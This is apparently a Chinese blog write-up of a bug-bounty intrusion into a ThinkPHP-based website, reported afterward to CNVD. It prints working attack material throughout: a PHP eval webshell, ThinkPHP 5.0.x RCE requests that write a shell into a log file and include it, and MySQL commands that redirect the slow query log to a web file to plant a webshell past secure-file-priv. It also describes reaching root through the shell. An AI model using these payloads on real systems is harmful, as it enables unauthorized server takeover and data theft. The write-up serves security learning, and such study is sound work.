記一次TP框架的SRC
昨天的用的Druid洩露的session進後臺拿shell還是覺得不太過癮,也沒學到啥新的知識。於是乎今天又找了幾個新的站點來試試,哈哈哈哈哈哈。
這次操作純屬菜雞練手,哪些地方可以改進還希望大佬們指出一下
1 · 站點後臺並發現是tp框架
首先找到的是站點後臺,但是有驗證碼。
掃目錄的時候沒有 404.html,說明站點沒有設定統一的報錯頁面,那麼應該就可以人為製造報錯來檢視框架。
果然是熟悉的tp框架,直接祭上神器碰碰運氣,看能不能碰到tp版本的漏洞
工具顯示存在多個漏洞,其中有部分屬於誤報。
2 · 嘗試獲得shell
嘗試使用工具自帶的寫馬功能,但是實際操作之後發現無法連線。下載檔案檢視後發現“>” 和“<” 變成了html中的實體字元。
大一學過一些java,本來準備檢視工具的原始碼。但是github上的原始碼檔案是空的,遂作罷
工具自帶的木馬:
<?php @eval($_POST['showshell'])?>
嘗試使用工具爆出的資料庫賬號密碼加上 --os-shell 寫入shell
sqlmap -d mysql://name:passwd@ip:port/dbs_name
最後以失敗告終。。。。。
常規使用--os-shell的前提有三個:
(1)網站必須是root許可權
(2)攻擊者需要知道網站的絕對路徑
(3)GPC為off,php主動轉義的功能關閉
直接連線資料庫檢視能不能找到管理員的賬號和密碼
找到一個像是主機的賬號、密碼錶。
驚悚時刻來了,這個伺服器的管理員突然上線 mysql 了。有點把子嚇人。
拿到了pe_admin表中的內容後,嘗試通過ssh連線伺服器。但是發現這臺伺服器並沒有ssh埠,這就很疑惑了
nmap -sV -n ip
感覺自己有點傻,為什麼不直接去網站的資料庫找網站的後臺登陸賬號密碼呢。
最後成功進入後臺管理系統,不過這後臺功能有點少啊,根本找不到上傳點。看來還得想別的辦法。
)
3 · 從TP框架入手
看來只能轉換一下思路,從tp框架入手了。
這裡直接 phpinfo 看一下 disable_functions()禁用了哪些函式。phpinfo的成功執行也證明是有RCE漏洞的
在嘗試了幾種方法之後發現無果,而且由於 php版本為 7.3 導致無法使用 assert 來執行命令。
自己不會沒關係,網上肯定有人會。這裡開始去網上搜各個大佬的方法。最終經過各種嘗試,把希望寄在了將馬寫在日誌或者session裡
寫入shell檔案到日誌中
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['shell']); ?>
包含日誌檔案getshell
/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();
經測試,成功寫入shell,但是此時只有極小的許可權,並且虛擬由於 disable_function 的原因,虛擬終端無法使用。
這裡看了幾個大佬的部落格,ThinkPHP5.0.X RCE PHP7 利用方式 可以使用載入遠端檔案的方式去包含真正的shell。孩子要是有一臺伺服器就好了
4 · 通過MYSQL寫入shell
突然想起來手裡還有資料庫的賬號和密碼,可以嘗試使用mysql手動寫shell。
檢視使用者及許可權
SELECT user,host FROM mysql.user;
站點的絕對路徑已經通過tp報錯頁和phpinfo拿到了
select '<?php @eval($_POST[showshell]);?>' into outfile 'D:\wwwroot\xxxxxxxx\public\index.php';
報錯是因為mysql配置的 --secure-file-priv 預設值為 null,而只有當其值非空的時候才才能使用 into oufile 寫入檔案。
關於慢查詢:
當使用者操作的查詢語句超過系統的預設時間時,系統就會將此條語句紀錄到慢查詢日誌中。系統一般預設的時間是10秒
這裡我們使用慢查詢繞過 security-file-priv 寫入shell:
查詢 slow query log 狀態
SHOW VARIABLES like '%slow_query_log%';
可以看到處於預設的關閉狀態。
啟用慢查詢:
set global slow_query_log=1;
指定慢查詢的日誌檔案路徑及檔名,
SET GLOBAL slow_query_log_file='
D:\wwwroot\xxxxx\public\index.php ';
寫入shell
select '<?php eval($_GET[showshell])?>' or SLEEP(11);
成功寫入。
這裡遇到一個小問題,windows上的蟻劍和哥斯拉不知道為什麼連不上去。可能是我這邊的環境變數有問題,最後使用kali裡的蟻劍成功連線shell並獲得root許可權
最後也是一個權重為0的站交不了補天,順利提交兩個src到cnvd。雖然沒能提交到補天,不過也重在練手的過程吧。